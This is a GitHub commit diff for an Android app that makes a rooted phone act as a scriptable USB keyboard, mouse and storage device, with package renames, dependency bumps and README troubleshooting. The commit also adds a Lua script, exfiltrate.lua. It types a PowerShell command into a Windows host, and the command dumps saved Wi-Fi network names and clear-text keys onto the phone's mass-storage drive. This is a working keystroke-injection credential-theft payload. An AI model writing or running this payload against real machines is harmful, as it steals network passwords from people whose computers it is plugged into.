Skip to content

Commit 4ee9010

Browse files
committed
usb: dependency bump and bugfixes
1 parent 5c4f895 commit 4ee9010

30 files changed

+124
-199
lines changed

README.md

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ with arbitrary composite USB devices.
77

88
**Root access is required.**
99

10-
## [Demonstration](https://streamable.com/oeyrik)
10+
## Demonstration
1111

1212
The best way to explain what this app does is with a code example. The following script
1313
does the following when interpreted by this app:
@@ -71,6 +71,18 @@ gadgets.
7171
New demo applications can be added to `assets/scripts`. The API is pretty much self-documenting,
7272
just look at the existing demos to get a feel for how the API works.
7373

74+
## Troubleshooting
75+
### "Device Malfunctioned" on Windows 10
76+
There may be an incompatibility between the supported USB speed between the USB function and USB
77+
port. For example, if you try to use the HID function on a port that only supports USB SuperSpeed,
78+
you will get this error. This is common when using certain USB 3.0 hubs. If you plugged into a USB
79+
hub, try using a port connected to the USB Root Hub. If you plugged into a USB 3.0 port, try using a
80+
USB 2.0 port.
81+
82+
### "java.io.IOException: Could not write to /dev/hidgX"
83+
Try setting SELinux to permissive mode by running `setenforce 0` as root.
84+
85+
7486
## Third-party
7587
- [libsuperuser](https://github.com/Chainfire/libsuperuser)
7688
- [LuaJ](http://www.luaj.org/luaj/3.0/README.html)

app/build.gradle

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -1,11 +1,11 @@
11
apply plugin: 'com.android.application'
22

33
android {
4-
compileSdkVersion 30
4+
compileSdk 33
55
defaultConfig {
6-
applicationId "org.netdex.hidfuzzer"
6+
applicationId "org.netdex.androidusbscript"
77
minSdkVersion 26
8-
targetSdkVersion 30
8+
targetSdkVersion 33
99
versionCode 100
1010
versionName '1.0.0'
1111
}
@@ -24,12 +24,12 @@ android {
2424
}
2525

2626
dependencies {
27-
implementation 'androidx.core:core:1.3.2'
28-
implementation 'com.google.android.material:material:1.2.1'
27+
implementation 'androidx.core:core:1.8.0'
28+
implementation 'com.google.android.material:material:1.6.1'
2929

3030
implementation 'eu.chainfire:libsuperuser:1.1.0.+'
3131
implementation 'org.luaj:luaj-jse:3.0.1'
32-
implementation 'androidx.appcompat:appcompat:1.1.0'
32+
implementation 'androidx.appcompat:appcompat:1.5.0'
3333
}
3434
repositories {
3535
mavenCentral()

app/src/main/AndroidManifest.xml

Lines changed: 9 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -1,17 +1,17 @@
11
<?xml version="1.0" encoding="utf-8"?>
22
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
3-
package="org.netdex.hidfuzzer">
3+
package="org.netdex.androidusbscript">
44

55
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
66

77
<application
8-
android:allowBackup="true"
98
android:icon="@mipmap/ic_fuzzer"
109
android:label="@string/app_name"
11-
android:supportsRtl="true"
1210
android:theme="@style/AppTheme">
1311

14-
<activity android:name=".MainActivity">
12+
<activity
13+
android:name="org.netdex.androidusbscript.MainActivity"
14+
android:exported="true">
1515
<intent-filter>
1616
<action android:name="android.intent.action.MAIN" />
1717

@@ -20,14 +20,14 @@
2020
</activity>
2121

2222
<activity
23-
android:name=".SelectAssetActivity"
23+
android:name="org.netdex.androidusbscript.SelectAssetActivity"
24+
android:exported="true"
2425
android:label="@string/title_activity_select_asset"
25-
android:parentActivityName=".MainActivity" />
26+
android:parentActivityName="org.netdex.androidusbscript.MainActivity" />
2627

2728
<service
28-
android:name=".service.LuaUsbService"
29-
android:enabled="true"
30-
android:exported="true" />
29+
android:name="org.netdex.androidusbscript.service.LuaUsbService"
30+
android:enabled="true" />
3131

3232
</application>
3333

app/src/main/assets/scripts/findandtake.lua renamed to app/src/main/assets/scripts/exfiltrate.lua

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,11 @@
11
---
22
--- Copy a file from the system to a mass storage gadget
3+
--- https://docs.hak5.org/hak5-usb-rubber-ducky/advanced-features/exfiltration
34
---
45
usb = luausb.create({ id = 0, type = "keyboard"}, {id = 0, type = "storage" })
56
kb = usb.dev[1]
67

7-
local LABEL = "MY_DRIVE_LABEL" -- label of the drive (as assigned by you)
8+
local LABEL = "COMPOSITE" -- label of the drive (as assigned by you)
89

910
while true do
1011
print("idle")
@@ -20,9 +21,10 @@ while true do
2021

2122
kb.chord(MOD_LSUPER, KEY_R)
2223
wait(1000)
23-
kb.string("powershell\n")
24-
wait(2000)
25-
kb.string("$drive = Get-WmiObject -Class Win32_LogicalDisk -Filter \"VolumeName='" .. LABEL .. "'\" | Select -Expand DeviceID\n")
24+
kb.string("powershell \"$m=(Get-Volume -FileSystemLabel '" .. LABEL .. "').DriveLetter;"
25+
.. "netsh wlan show profile name=(Get-NetConnectionProfile).Name key="
26+
.. "clear|?{$_-match'SSID n|Key C'}|%{($_ -split':')[1]}>>$m':\\'$env:"
27+
.. "computername'.txt'\"\n")
2628

2729
print("done")
2830
-- poll until usb unplugged

app/src/main/assets/scripts/mouse.lua

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -2,9 +2,14 @@ usb = luausb.create({ type = "mouse", id = 0 })
22

33
ms1 = usb.dev[1]
44

5-
while true do
5+
-- poll until usb plugged in
6+
while usb.state() == "not attached" do
7+
wait(1000)
8+
end
9+
10+
while usb.state() == "configured" do
611
ms1.click(BTN_LEFT)
712
ms1.move(30, 0)
8-
ms1.scroll(128)
13+
ms1.scroll(127)
914
wait(1000)
1015
end

app/src/main/java/org/netdex/hidfuzzer/LuaAssetAdapter.java renamed to app/src/main/java/org/netdex/androidusbscript/LuaAssetAdapter.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package org.netdex.hidfuzzer;
1+
package org.netdex.androidusbscript;
22

33
import android.view.LayoutInflater;
44
import android.view.View;

app/src/main/java/org/netdex/hidfuzzer/MainActivity.java renamed to app/src/main/java/org/netdex/androidusbscript/MainActivity.java

Lines changed: 11 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package org.netdex.hidfuzzer;
1+
package org.netdex.androidusbscript;
22

33
import android.app.Activity;
44
import android.content.Intent;
@@ -7,6 +7,7 @@
77
import android.os.Handler;
88
import android.os.Looper;
99
import android.text.Html;
10+
import android.util.Log;
1011
import android.view.Menu;
1112
import android.view.MenuInflater;
1213
import android.view.MenuItem;
@@ -21,13 +22,13 @@
2122
import androidx.appcompat.app.AppCompatActivity;
2223
import androidx.core.os.HandlerCompat;
2324

24-
import org.netdex.hidfuzzer.gui.ConfirmDialog;
25-
import org.netdex.hidfuzzer.gui.PromptDialog;
26-
import org.netdex.hidfuzzer.service.LuaUsbService;
27-
import org.netdex.hidfuzzer.service.LuaUsbServiceConnection;
28-
import org.netdex.hidfuzzer.task.AsyncIOBridge;
29-
import org.netdex.hidfuzzer.task.LuaUsbTask;
30-
import org.netdex.hidfuzzer.task.LuaUsbTaskFactory;
25+
import org.netdex.androidusbscript.gui.ConfirmDialog;
26+
import org.netdex.androidusbscript.gui.PromptDialog;
27+
import org.netdex.androidusbscript.service.LuaUsbService;
28+
import org.netdex.androidusbscript.service.LuaUsbServiceConnection;
29+
import org.netdex.androidusbscript.task.AsyncIOBridge;
30+
import org.netdex.androidusbscript.task.LuaUsbTask;
31+
import org.netdex.androidusbscript.task.LuaUsbTaskFactory;
3132

3233

3334
public class MainActivity extends AppCompatActivity {
@@ -86,8 +87,7 @@ public void createLuaUsbService(LuaUsbTask task) {
8687
Intent serviceIntent = new Intent(this, LuaUsbService.class);
8788
activeServiceConn_ =
8889
new LuaUsbServiceConnection(task, () -> {
89-
activeServiceConn_ = null;
90-
handler_.post(() -> btnCancel_.setEnabled(false)); // TODO need to unbind...
90+
handler_.post(this::terminateLuaUsbService);
9191
});
9292
bindService(serviceIntent, activeServiceConn_, BIND_AUTO_CREATE);
9393
btnCancel_.setEnabled(true);
@@ -97,6 +97,7 @@ public void terminateLuaUsbService() {
9797
if (activeServiceConn_ != null) {
9898
btnCancel_.setEnabled(false);
9999
unbindService(activeServiceConn_); // TODO this can cause ANR
100+
activeServiceConn_ = null;
100101
}
101102
}
102103

app/src/main/java/org/netdex/hidfuzzer/SelectAssetActivity.java renamed to app/src/main/java/org/netdex/androidusbscript/SelectAssetActivity.java

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,9 @@
1-
package org.netdex.hidfuzzer;
1+
package org.netdex.androidusbscript;
22

33
import android.app.Activity;
44
import android.content.Intent;
55
import android.os.Bundle;
6-
import android.view.Menu;
7-
import android.view.MenuInflater;
8-
import android.view.MenuItem;
96

10-
import androidx.annotation.NonNull;
117
import androidx.appcompat.app.AppCompatActivity;
128
import androidx.recyclerview.widget.DividerItemDecoration;
139
import androidx.recyclerview.widget.LinearLayoutManager;

app/src/main/java/org/netdex/hidfuzzer/configfs/UsbGadget.java renamed to app/src/main/java/org/netdex/androidusbscript/configfs/UsbGadget.java

Lines changed: 5 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
1-
package org.netdex.hidfuzzer.configfs;
1+
package org.netdex.androidusbscript.configfs;
22

33
import java.nio.file.Paths;
44
import java.util.ArrayList;
55

6-
import org.netdex.hidfuzzer.configfs.function.UsbGadgetFunction;
7-
import org.netdex.hidfuzzer.util.Command;
6+
import org.netdex.androidusbscript.configfs.function.UsbGadgetFunction;
7+
import org.netdex.androidusbscript.util.Command;
88

99
import eu.chainfire.libsuperuser.Shell;
1010

@@ -60,6 +60,8 @@ public void create(Shell.Threaded su, Parameters params) throws Shell.ShellDiedE
6060
Command.echoToFile(params.idVendor, "idVendor"),
6161
Command.echoToFile("239", "bDeviceClass"),
6262
Command.echoToFile("0x02", "bDeviceSubClass"),
63+
// BUG: Unresolved issue with USB 3.0 ports and hubs
64+
// Command.echoToFile("super-speed", "max_speed"),
6365
Command.echoToFile("0x01", "bDeviceProtocol"),
6466

6567
"mkdir strings/0x409",

app/src/main/java/org/netdex/hidfuzzer/configfs/function/UsbGadgetFunction.java renamed to app/src/main/java/org/netdex/androidusbscript/configfs/function/UsbGadgetFunction.java

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
1-
package org.netdex.hidfuzzer.configfs.function;
1+
package org.netdex.androidusbscript.configfs.function;
22

3-
import org.netdex.hidfuzzer.util.Command;
3+
import org.netdex.androidusbscript.util.Command;
44

55
import java.nio.file.Paths;
66

0 commit comments

Comments
 (0)